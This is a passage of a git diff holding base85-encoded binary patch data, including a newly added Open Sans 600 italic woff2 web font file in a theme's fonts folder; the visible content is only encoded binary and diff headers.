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
F{|Bsk2y6fV

literal 0
HcmV?d00001

diff --git a/theme/fonts/open-sans-v17-all-charsets-600italic.woff2 b/theme/fonts/open-sans-v17-all-charsets-600italic.woff2
new file mode 100644
index 0000000000000000000000000000000000000000..c99aabe80340fd88a6aeb5729251e76c9a6f35ec
GIT binary patch
literal 42120
zcmV)1K+V5*Pew8T0RR910HlZj5dZ)H0bW!90Hh@V0RR9100000000000000000000
z0000QE*lUWfmQ}!0EY+&fhGx$G!YC6gtP>M=}Zfb3IG8%0we>R0t6rhgcb+74Ge-9
zTjVft2Gv{ZPLNP<u*mt_+q!sFFmAu#ZWTwh&=fB^s>8+s40C^n!vFvOzaW{&m|X(g
zC9Sl8st%`)?H_a$5eR~jnNA3@VM+$-X|9Q4SRz}3T?<Vm11ne1Y;nF^Z`x2s+c?_2
zdxa~VK(ULA&~OeDXo3hn@O9ctt8|ntEPJ4V{*yNPHv;YMsK=Z(Ghg%0wd$?ylL*W-
zBC?*pR7?lIleQKGXfnctQOKj@k^=<&lwnu@aLLIv?*jS)r=e2?4RMp`(Vl)G=WWti
zt}C+C#mH&i1-sp8e(V}S+B*jeWLSwb-Ei>hNe<Z`k4zFb^TI6<rXKjiVoPymQ{0NH
zw-7tun1B0GYu!;tBVBU%zc=c~<koxY+3?@*F6q+exGUCCG^N8mKAt4+HKFjIE+?}L
zj9msLqQ!`HUig2q<30Dy?0$fWtGJ_3$6YF_N)=b^AXb2Oj&QU8*-b*ls2Kz(6zUq1
zLZDDVQh$A=P7SV<6Xndj{rc3cml1MmXMz_VS?867sEx>?C+F%cJTiFx>|#9LB7UCd
zc^)A$&<RmW=|X<goX-pIKT$uj$U=DN#M68CJQ}hQCCgcqY>!3O!s}{TRUY9XREElo
z6qO}ptC^na5o%?hs;b$pmF!Lfb_duFVE2G6fJ=|<yhO^l1n|+*^Kr3#pH7aB<baxq
zv%(~>z%G!OLus1ed;aphbLN%4`_nXnjVvIR08sk>C*L<k?fwJGA(L$9h{Q!~(o51u
zYP7;&4H7F5hQFOu&4LJm6f*!4VibcyqHnn?p3c^VCq9wfmmGVIzbOCeQhB~h`mHQi
zH}3up*EG%*gqpE+6Ml9^%}BH*gxn>0BG>W&Y*VL=g#s1^0wQ7*I_JzrLB#BtGpaG7
zW)ybMUh3x3Id$6?`8fpK7~`0Q4h0u$2kvtvjn0`1*_CjB;Oz&t+dC42=Sbex0KV;2
zLG}UAQ*BW~<HV^b;zdP}h#M#WNkR@H&krF^8q|s3L$%d6t<#Sl4SKY7dQ{K5R(pN>
z@cGRCmuBuv`cZaOo`Y~8G)iLxLb2Ob;@oR`Urzm%U6i6C<4Cji%25(K&u(3UmFEMU
z3bzk{Cm>F`(i#dOI9xsfvbI;n6QdMHQc1)sE#W^pt;FtC?@P#RPEC77e<u(&o?$Yc
z^@ePW8a&hCo$gZDoG+v#(1qm7a*va&B=C|#p`zbps)x&#*=(xWw7u_jp|<6KKXL*^
